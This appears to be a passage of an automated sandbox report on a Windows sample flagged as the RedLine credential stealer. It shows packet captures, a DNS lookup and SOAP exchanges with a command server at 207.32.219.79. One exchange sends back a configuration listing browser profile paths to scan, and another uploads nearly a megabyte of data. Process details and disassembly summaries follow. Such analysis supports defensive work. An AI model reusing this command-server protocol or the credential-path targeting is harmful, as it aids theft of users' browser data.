Aug 31, 2024 22:02:09.283677101 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.283684969 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.283693075 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.283699989 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.283726931 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.283735991 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.283745050 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.283808947 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.283845901 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.283854961 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.283862114 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.283879995 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.283888102 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.283982992 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.283992052 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.283999920 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.284065962 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.284075975 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.284082890 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.284090996 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.284099102 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.284106016 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.284185886 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.284194946 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.284202099 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.284209967 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.284218073 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.284225941 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.284234047 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.284241915 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.284250975 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.284324884 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.284333944 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.284342051 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.284370899 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.284379959 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.284445047 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.284452915 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.284461021 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.284468889 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.284476995 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.284491062 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.284498930 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.284507036 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.284563065 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.284570932 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.284579039 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.284586906 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.284590006 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.284598112 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.284605980 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.284612894 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.284624100 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.284631968 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.284640074 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.284647942 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.284656048 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.284658909 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.284667015 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.284674883 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.284758091 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.284765005 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.284773111 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.284780979 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.284805059 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.284813881 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.284905910 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.284914017 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.284921885 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.284929991 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.284938097 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.284945011 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.285007954 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.285017014 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.285023928 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.285032988 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.285041094 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.285048962 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.285057068 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.285064936 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.285082102 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.285089970 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.285098076 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.285105944 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.285181046 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.285188913 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.285197973 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.285204887 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.285208941 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.285217047 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.285233974 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.285242081 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.285249949 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.285258055 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.285264969 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.285273075 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.285298109 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.285306931 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.285357952 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.285366058 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.285377979 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.285384893 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.285444975 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.285453081 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.285504103 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.285511971 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.285618067 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.285626888 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.285677910 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.285686970 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.285727978 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.285772085 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.285821915 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.285830975 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.285839081 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.285846949 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.285907030 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.285916090 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.285923958 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.285932064 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.285980940 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.285990000 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.286036968 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.286046028 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.286053896 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.286062002 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.286081076 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.286089897 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.286098003 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.286107063 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.286144972 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.286154032 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:09.328741074 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:10.233820915 CEST	40826	49733	207.32.219.79	192.168.2.4
Aug 31, 2024 22:02:10.252077103 CEST	49732	40826	192.168.2.4	207.32.219.79
Aug 31, 2024 22:02:10.252263069 CEST	49733	40826	192.168.2.4	207.32.219.79

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 31, 2024 22:02:04.837178946 CEST	59586	53	192.168.2.4	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Aug 31, 2024 22:02:04.837178946 CEST	192.168.2.4	1.1.1.1	0xc2bb	Standard query (0)	api.ip.sb	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Aug 31, 2024 22:02:04.844326973 CEST	1.1.1.1	192.168.2.4	0xc2bb	No error (0)	api.ip.sb	api.ip.sb.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

207.32.219.79:40826

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	207.32.219.79	40826	2104	C:\Users\user\Desktop\2BuZaUic3i.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:01:58.671041965 CEST	240	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: 207.32.219.79:40826 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive
Aug 31, 2024 22:01:59.240250111 CEST	25	IN	HTTP/1.1 100 Continue
Aug 31, 2024 22:01:59.367679119 CEST	359	IN	HTTP/1.1 200 OK Content-Length: 212 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Sat, 31 Aug 2024 20:01:59 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 74 72 75 65 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><CheckConnectResponse xmlns="http://tempuri.org/"><CheckConnectResult>true</CheckConnectResult></CheckConnectResponse></s:Body></s:Envelope>
Aug 31, 2024 22:02:04.417567968 CEST	223	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings" Host: 207.32.219.79:40826 Content-Length: 144 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 31, 2024 22:02:04.581562042 CEST	25	IN	HTTP/1.1 100 Continue
Aug 31, 2024 22:02:04.799179077 CEST	1236	IN	HTTP/1.1 200 OK Content-Length: 4760 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Sat, 31 Aug 2024 20:02:04 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 65 74 74 69 6e 67 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 65 74 74 69 6e 67 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 3e 3c 61 3a 42 6c 6f 63 6b 65 64 43 6f 75 6e 74 72 79 20 78 6d 6c 6e 73 3a 62 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 32 30 30 33 2f 31 30 2f 53 65 72 69 61 6c 69 7a 61 74 69 6f 6e 2f 41 72 72 61 79 73 22 2f 3e 3c 61 3a 42 6c 6f 63 6b 65 64 49 50 20 78 6d 6c [TRUNCATED] Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><EnvironmentSettingsResponse xmlns="http://tempuri.org/"><EnvironmentSettingsResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><a:BlockedCountry xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/><a:BlockedIP xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/><a:Object4>true</a:Object4><a:Object6>false</a:Object6><a:ScanBrowsers>true</a:ScanBrowsers><a:ScanChromeBrowsersPaths xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"><b:string>%USERPROFILE%\AppData\Local\Battle.net</b:string><b:string>%USERPROFILE%\AppData\Local\Chromium\User Data</b:string><b:string>%USERPROFILE%\AppData\Local\Google\Chrome\User Data</b:string><b:string>%USERPROFILE%\AppData\Local\Google(x86)\Chrome\User Data</b:string><b:string>%USERPROFILE%\AppData\Roaming\Opera Software\</b:string><b:string>%USERPROFILE%\AppData\Local\MapleStudio\ChromePlus\User Data</b:string [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49732	207.32.219.79	40826	2104	C:\Users\user\Desktop\2BuZaUic3i.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:02:07.249371052 CEST	221	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment" Host: 207.32.219.79:40826 Content-Length: 978103 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 31, 2024 22:02:08.807955027 CEST	294	IN	HTTP/1.1 200 OK Content-Length: 147 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Sat, 31 Aug 2024 20:02:08 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 53 65 74 45 6e 76 69 72 6f 6e 6d 65 6e 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 2f 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><SetEnvironmentResponse xmlns="http://tempuri.org/"/></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49733	207.32.219.79	40826	2104	C:\Users\user\Desktop\2BuZaUic3i.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 22:02:08.815929890 CEST	241	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetUpdates" Host: 207.32.219.79:40826 Content-Length: 978095 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive
Aug 31, 2024 22:02:10.233820915 CEST	408	IN	HTTP/1.1 200 OK Content-Length: 261 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Sat, 31 Aug 2024 20:02:10 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 2f 3e 3c 2f 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><GetUpdatesResponse xmlns="http://tempuri.org/"><GetUpdatesResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"/></GetUpdatesResponse></s:Body></s:Envelope>

Target ID:	0
Start time:	16:01:57
Start date:	31/08/2024
Path:	C:\Users\user\Desktop\2BuZaUic3i.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\2BuZaUic3i.exe"
Imagebase:	0xc00000
File size:	97'792 bytes
MD5 hash:	9FE5F95D5355185B04B8E78D1C8CEBE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000000.1660305995.0000000000C02000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000000.1660305995.0000000000C02000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_f54632eb, Description: unknown, Source: 00000000.00000000.1660305995.0000000000C02000.00000002.00000001.01000000.00000003.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	16:01:57
Start date:	31/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	7.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	21
Total number of Limit Nodes:	0

Executed Functions

Function 05E19630 Relevance: 16.2, Strings: 12, Instructions: 1190COMMON

Download Yara Rule

Strings

,hq, xrefs: 05E1A24F
cdq, xrefs: 05E19FFE
4cdq, xrefs: 05E19FC4
Nvcq, xrefs: 05E19938
$dq, xrefs: 05E19CD5
Hhq, xrefs: 05E1A3EA
$dq, xrefs: 05E1A653
$dq, xrefs: 05E19CBB
4cdq, xrefs: 05E19FAA
cdq, xrefs: 05E19FE4
(_dq, xrefs: 05E1A0E6
(_dq, xrefs: 05E1A0CC

Memory Dump Source

Source File: 00000000.00000002.1788606314.0000000005E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e10000_2BuZaUic3i.jbxd

Similarity

API ID:
String ID: (_dq$(_dq$,hq$4cdq$4cdq$Hhq$Nvcq$$dq$$dq$$dq$cdq$cdq
API String ID: 0-872558548
Opcode ID: adc4e9ef38490b60edaa0b91067846a343f7595e8eacadfefd4166a6bf6ccf92
Instruction ID: 79ec753b53b732f51749d177b197158188da419491dfd33ae00de52b4223aad5
Opcode Fuzzy Hash: adc4e9ef38490b60edaa0b91067846a343f7595e8eacadfefd4166a6bf6ccf92
Instruction Fuzzy Hash: 148294B0B002158FCB59EBBD842067E6AE7BFCC741B21586ED44ADB385EE24CD4187D6

Function 05E1DA30 Relevance: 13.2, Strings: 10, Instructions: 692
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4cdq, xrefs: 05E1DB87
$dq, xrefs: 05E1DB55
$dq, xrefs: 05E1DDBD
4cdq, xrefs: 05E1DB75
4'dq, xrefs: 05E1DF0E
$dq, xrefs: 05E1DEFF
4cdq, xrefs: 05E1DB91
$dq, xrefs: 05E1DDCD
4|iq, xrefs: 05E1E305
$dq, xrefs: 05E1DD70

Memory Dump Source

Source File: 00000000.00000002.1788606314.0000000005E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e10000_2BuZaUic3i.jbxd

Similarity

API ID:
String ID: 4'dq$4cdq$4cdq$4cdq$4|iq$$dq$$dq$$dq$$dq$$dq
API String ID: 0-2071280071
Opcode ID: a4a1f99dedee7afd614a9b084dd40a2766261220d927a568bf92884eb5dd9e80
Instruction ID: 8020fe06cbdcbd6f76942006fc9eba69a73748d523f90173a888d9008546c9cd
Opcode Fuzzy Hash: a4a1f99dedee7afd614a9b084dd40a2766261220d927a568bf92884eb5dd9e80
Instruction Fuzzy Hash: E3425D70B002198FDB18DF79C854AAEBBF6BF88304F148469E84ADB395DB709D41CB95

Function 05E1D528 Relevance: 1.7, Strings: 1, Instructions: 438
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hhq, xrefs: 05E1D91B

Memory Dump Source

Source File: 00000000.00000002.1788606314.0000000005E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e10000_2BuZaUic3i.jbxd

Similarity

API ID:
String ID: Hhq
API String ID: 0-4210879014
Opcode ID: 56e3987b86239f4d21a8691adf5775303c5097c69630cea0ff098e63681e38f0
Instruction ID: 3ac88583b60fbcd70933e6dc6d1ccf255a929aad7c71d545dcc588a7bfc96fd0
Opcode Fuzzy Hash: 56e3987b86239f4d21a8691adf5775303c5097c69630cea0ff098e63681e38f0
Instruction Fuzzy Hash: D3F1C371A042668BCB15CF75C9501FDFBF2BF85304B14C666E88AEB240EB74DA85CB94

Function 0123E7B0 Relevance: .9, Instructions: 927COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1785245733.0000000001230000.00000040.00000800.00020000.00000000.sdmp, Offset: 01230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1230000_2BuZaUic3i.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d801ead7e0b098668e947e58c871c2baefe9ef5206b4dc314bd7b785bc385bf
Instruction ID: 2836e5c5a58cbd1fe43d90656ad6793c3a337e9c5c67984a1856caf992a7a6ab
Opcode Fuzzy Hash: 2d801ead7e0b098668e947e58c871c2baefe9ef5206b4dc314bd7b785bc385bf
Instruction Fuzzy Hash: 12821F74B102598FCB15DF68D898B5DBBB2BF88301F1184A9E90A9B3A5DF309C85CF51

Function 05E1FC80 Relevance: 1.8, APIs: 1, Instructions: 256
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CopyFileW.KERNEL32(?,00000000,?), ref: 05E1FF69

Memory Dump Source

Source File: 00000000.00000002.1788606314.0000000005E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e10000_2BuZaUic3i.jbxd

Similarity

API ID: CopyFile
String ID:
API String ID: 1304948518-0
Opcode ID: a2b9343a6f5025da30ee2a311d05ead86ceff32e43369e2de31c31564dc0b12b
Instruction ID: 04fd2721fe2a0f34128d985a5f85c64e4c7ecda9d1424f111a1d6dc2fccb562d
Opcode Fuzzy Hash: a2b9343a6f5025da30ee2a311d05ead86ceff32e43369e2de31c31564dc0b12b
Instruction Fuzzy Hash: 28A1AF70A003158FC714DF68C484A9EBBF2FF89310B1584A9D859DB362DB30ED45CBA4

Function 05E1FEC8 Relevance: 1.6, APIs: 1, Instructions: 74
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed
